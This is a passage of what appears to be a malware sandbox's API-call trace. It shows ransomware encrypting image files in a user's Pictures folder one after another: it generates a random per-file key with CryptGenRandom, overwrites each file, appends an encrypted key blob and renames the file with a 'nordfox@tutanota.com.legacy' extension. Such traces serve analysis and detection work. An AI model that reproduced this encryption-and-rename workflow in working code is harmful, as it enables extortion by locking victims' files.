(HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0112.693] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0112.693] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0112.693] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0112.693] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0112.693] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\Xkq.png", dwFileAttributes=0x80) returned 1 [0112.693] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5783c8 [0112.693] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563df8 [0112.694] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0112.694] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\Xkq.png" (normalized: "c:\\users\\fd1hvy\\pictures\\xkq.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0112.694] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=40972) returned 1 [0112.694] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa00c) returned 0x5e9bd0 [0112.694] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa00c) returned 0x5f3be8 [0112.694] ReadFile (in: hFile=0x600, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0xa00c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0xa00c, lpOverlapped=0x0) returned 1 [0112.696] SetFilePointer (in: hFile=0x600, lDistanceToMove=-40972, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.696] WriteFile (in: hFile=0x600, lpBuffer=0x5f3be8*, nNumberOfBytesToWrite=0xa00c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5f3be8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xa00c, lpOverlapped=0x0) returned 1 [0112.696] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.697] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5f3be8 | out: hHeap=0x520000) returned 1 [0112.698] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xa00c [0112.698] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.698] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.699] WriteFile (in: hFile=0x600, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.699] WriteFile (in: hFile=0x600, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.699] CloseHandle (hObject=0x600) returned 1 [0112.699] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0112.700] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0112.700] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\Xkq.png" (normalized: "c:\\users\\fd1hvy\\pictures\\xkq.png"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\Xkq.png.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\pictures\\xkq.png.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.701] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563df8 | out: hHeap=0x520000) returned 1 [0112.702] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0112.702] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0112.702] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56dc90 [0112.702] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c55b0 [0112.702] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3478 [0112.702] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c55b0 | out: pbBuffer=0x5c55b0) returned 1 [0112.702] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0112.702] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\xdLZCcA.jpg", dwFileAttributes=0x80) returned 1 [0112.702] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56dea0 [0112.702] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563df8 [0112.702] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dea0 | out: hHeap=0x520000) returned 1 [0112.702] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\xdLZCcA.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\xdlzcca.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0112.703] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=71167) returned 1 [0112.703] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x115ff) returned 0x5e9bd0 [0112.703] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x115ff) returned 0x5fb1d8 [0112.703] ReadFile (in: hFile=0x600, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x115ff, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x115ff, lpOverlapped=0x0) returned 1 [0112.706] SetFilePointer (in: hFile=0x600, lDistanceToMove=-71167, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.707] WriteFile (in: hFile=0x600, lpBuffer=0x5fb1d8*, nNumberOfBytesToWrite=0x115ff, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5fb1d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x115ff, lpOverlapped=0x0) returned 1 [0112.707] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.708] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5fb1d8 | out: hHeap=0x520000) returned 1 [0112.709] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x115ff [0112.710] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.710] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c55b0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c55b0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.711] WriteFile (in: hFile=0x600, lpBuffer=0x5c55b0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c55b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.711] WriteFile (in: hFile=0x600, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.711] CloseHandle (hObject=0x600) returned 1 [0112.711] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c55b0 | out: hHeap=0x520000) returned 1 [0112.711] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3478 | out: hHeap=0x520000) returned 1 [0112.712] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\xdLZCcA.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\xdlzcca.jpg"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\xdLZCcA.jpg.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\pictures\\xdlzcca.jpg.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.714] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563df8 | out: hHeap=0x520000) returned 1 [0112.714] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dc90 | out: hHeap=0x520000) returned 1 [0112.714] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56da28 | out: hHeap=0x520000) returned 1 [0112.714] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56da28 [0112.715] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0112.715] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0112.715] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0112.715] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0112.715] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\wSbq8vmAYt.gif", dwFileAttributes=0x80) returned 1 [0112.715] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56dc90 [0112.715] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563ca8 [0112.715] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dc90 | out: hHeap=0x520000) returned 1 [0112.715] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\wSbq8vmAYt.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\wsbq8vmayt.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0112.715] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=40176) returned 1 [0112.716] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x9cf0) returned 0x5e9bd0 [0112.716] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x9cf0) returned 0x5f38c8 [0112.716] ReadFile (in: hFile=0x600, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x9cf0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x9cf0, lpOverlapped=0x0) returned 1 [0112.718] SetFilePointer (in: hFile=0x600, lDistanceToMove=-40176, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.719] WriteFile (in: hFile=0x600, lpBuffer=0x5f38c8*, nNumberOfBytesToWrite=0x9cf0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5f38c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x9cf0, lpOverlapped=0x0) returned 1 [0112.719] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.719] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5f38c8 | out: hHeap=0x520000) returned 1 [0112.720] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x9cf0 [0112.720] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.720] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.721] WriteFile (in: hFile=0x600, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.722] WriteFile (in: hFile=0x600, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.722] CloseHandle (hObject=0x600) returned 1 [0112.722] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0112.722] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0112.722] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\wSbq8vmAYt.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\wsbq8vmayt.gif"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\wSbq8vmAYt.gif.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\pictures\\wsbq8vmayt.gif.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.724] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563ca8 | out: hHeap=0x520000) returned 1 [0112.724] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56da28 | out: hHeap=0x520000) returned 1 [0112.724] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d9d0 | out: hHeap=0x520000) returned 1 [0112.724] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d9d0 [0112.724] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0112.724] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0112.724] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0112.724] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0112.724] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\wj5hOjaKvc3l.gif", dwFileAttributes=0x80) returned 1 [0112.725] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56da28 [0112.725] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e84d8 [0112.725] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56da28 | out: hHeap=0x520000) returned 1 [0112.725] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\wj5hOjaKvc3l.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\wj5hojakvc3l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0112.725] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4954) returned 1 [0112.725] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x135a) returned 0x5e9bd0 [0112.725] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x135a) returned 0x5eaf38 [0112.725] ReadFile (in: hFile=0x600, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x135a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x135a, lpOverlapped=0x0) returned 1 [0112.726] SetFilePointer (in: hFile=0x600, lDistanceToMove=-4954, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.726] WriteFile (in: hFile=0x600, lpBuffer=0x5eaf38*, nNumberOfBytesToWrite=0x135a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5eaf38*, lpNumberOfBytesWritten=0x2e1f9bc*=0x135a, lpOverlapped=0x0) returned 1 [0112.727] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.727] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5eaf38 | out: hHeap=0x520000) returned 1 [0112.727] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x135a [0112.727] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.727] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.727] WriteFile (in: hFile=0x600, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.727] WriteFile (in: hFile=0x600, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.728] CloseHandle (hObject=0x600) returned 1 [0112.728] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0112.728] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0112.728] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\wj5hOjaKvc3l.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\wj5hojakvc3l.gif"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\wj5hOjaKvc3l.gif.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\pictures\\wj5hojakvc3l.gif.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.744] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e84d8 | out: hHeap=0x520000) returned 1 [0112.744] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d9d0 | out: hHeap=0x520000) returned 1 [0112.744] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d920 | out: hHeap=0x520000) returned 1 [0112.745] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x57ecd8 [0112.745] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0112.745] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0112.745] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0112.745] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0112.745] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\vESygKFEw3H8fAf b6Sm.bmp", dwFileAttributes=0x80) returned 1 [0112.745] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x57eba0 [0112.745] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e93a8 [0112.745] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57eba0 | out: hHeap=0x520000) returned 1 [0112.745] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\vESygKFEw3H8fAf b6Sm.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\vesygkfew3h8faf b6sm.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0112.746] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=63338) returned 1 [0112.746] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf76a) returned 0x5e9bd0 [0112.746] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf76a) returned 0x5f9348 [0112.746] ReadFile (in: hFile=0x600, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0xf76a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0xf76a, lpOverlapped=0x0) returned 1 [0112.749] SetFilePointer (in: hFile=0x600, lDistanceToMove=-63338, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.749] WriteFile (in: hFile=0x600, lpBuffer=0x5f9348*, nNumberOfBytesToWrite=0xf76a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5f9348*, lpNumberOfBytesWritten=0x2e1f9bc*=0xf76a, lpOverlapped=0x0) returned 1 [0112.749] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.749] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5f9348 | out: hHeap=0x520000) returned 1 [0112.750] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xf76a [0112.750] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.751] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.752] WriteFile (in: hFile=0x600, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.752] WriteFile (in: hFile=0x600, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.752] CloseHandle (hObject=0x600) returned 1 [0112.753] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0112.753] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0112.753] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\vESygKFEw3H8fAf b6Sm.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\vesygkfew3h8faf b6sm.bmp"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\vESygKFEw3H8fAf b6Sm.bmp.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\pictures\\vesygkfew3h8faf b6sm.bmp.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.754] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e93a8 | out: hHeap=0x520000) returned 1 [0112.754] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57ecd8 | out: hHeap=0x520000) returned 1 [0112.755] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e2b0 | out: hHeap=0x520000) returned 1 [0112.755] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d920 [0112.755] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0112.755] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0112.755] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0112.755] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0112.755] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\vb16RFycCzBr.gif", dwFileAttributes=0x80) returned 1 [0112.755] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d9d0 [0112.755] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e8140 [0112.755] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d9d0 | out: hHeap=0x520000) returned 1 [0112.755] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\vb16RFycCzBr.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\vb16rfycczbr.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0112.756] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=26444) returned 1 [0112.756] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x674c) returned 0x5e9bd0 [0112.756] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x674c) returned 0x5f0328 [0112.756] ReadFile (in: hFile=0x600, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x674c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x674c, lpOverlapped=0x0) returned 1 [0112.758] SetFilePointer (in: hFile=0x600, lDistanceToMove=-26444, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.758] WriteFile (in: hFile=0x600, lpBuffer=0x5f0328*, nNumberOfBytesToWrite=0x674c, 